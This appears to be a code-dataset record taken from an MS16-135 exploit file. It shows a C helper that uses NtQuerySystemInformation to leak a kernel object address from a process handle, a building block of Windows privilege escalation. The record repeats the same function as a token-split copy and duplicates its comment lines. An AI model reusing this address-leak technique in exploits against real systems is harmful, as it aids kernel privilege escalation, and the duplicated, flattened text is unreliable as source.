poptoke/poptoke/MS16-135.cpp
//
// use NtQuerySystemInformation to retrieve object address from process id
//
use NtQuerySystemInformation to retrieve object address from process id
use NtQuerySystemInformation to retrieve object address from process id
LPVOID GetHandleAddress(ULONG dwProcessId, USHORT hObject)
{
	static BYTE HandleInformation[4096 * 16 * 16];
	DWORD BytesReturned;
	ULONG i;
	printf("[+] NtQuerySystemInformation: 0x%.8x\n",
		(UINT)NtQuerySystemInformation(16, HandleInformation, sizeof(HandleInformation), &BytesReturned));
	PSYSTEM_HANDLE_INFORMATION HandleInfo = (PSYSTEM_HANDLE_INFORMATION)HandleInformation;
	PSYSTEM_HANDLE_TABLE_ENTRY_INFO CurrentHandle = &HandleInfo->Handles[0];
	for (i = 0; i<HandleInfo->NumberOfHandles; CurrentHandle++, i++)
	{
		if (CurrentHandle->UniqueProcessId == dwProcessId &&
			CurrentHandle->HandleValue == (USHORT)hObject)
		{
			return CurrentHandle->Object;
		}
	}
	return NULL;
}
LPVOID GetHandleAddress ( ULONG dwProcessId , USHORT hObject ) { static BYTE HandleInformation [ 4096 * 16 * 16 ] ; DWORD BytesReturned ; ULONG i ; printf ( " \n " , ( UINT ) NtQuerySystemInformation ( 16 , HandleInformation , sizeof ( HandleInformation ) , & BytesReturned ) ) ; PSYSTEM_HANDLE_INFORMATION HandleInfo = ( PSYSTEM_HANDLE_INFORMATION ) HandleInformation ; PSYSTEM_HANDLE_TABLE_ENTRY_INFO CurrentHandle = & HandleInfo -> Handles [ 0 ] ; for ( i = 0 ; i < HandleInfo -> NumberOfHandles ; CurrentHandle ++ , i ++ ) { if ( CurrentHandle -> UniqueProcessId == dwProcessId && CurrentHandle -> HandleValue == ( USHORT ) hObject ) { return CurrentHandle -> Object ; } } return NULL ; }
use NtQuerySystemInformation to retrieve object address from process id
use NtQuerySystemInformation to retrieve object address from process id
// Get handle information // Find handle // Is this it? // Yep, return // Nope, not found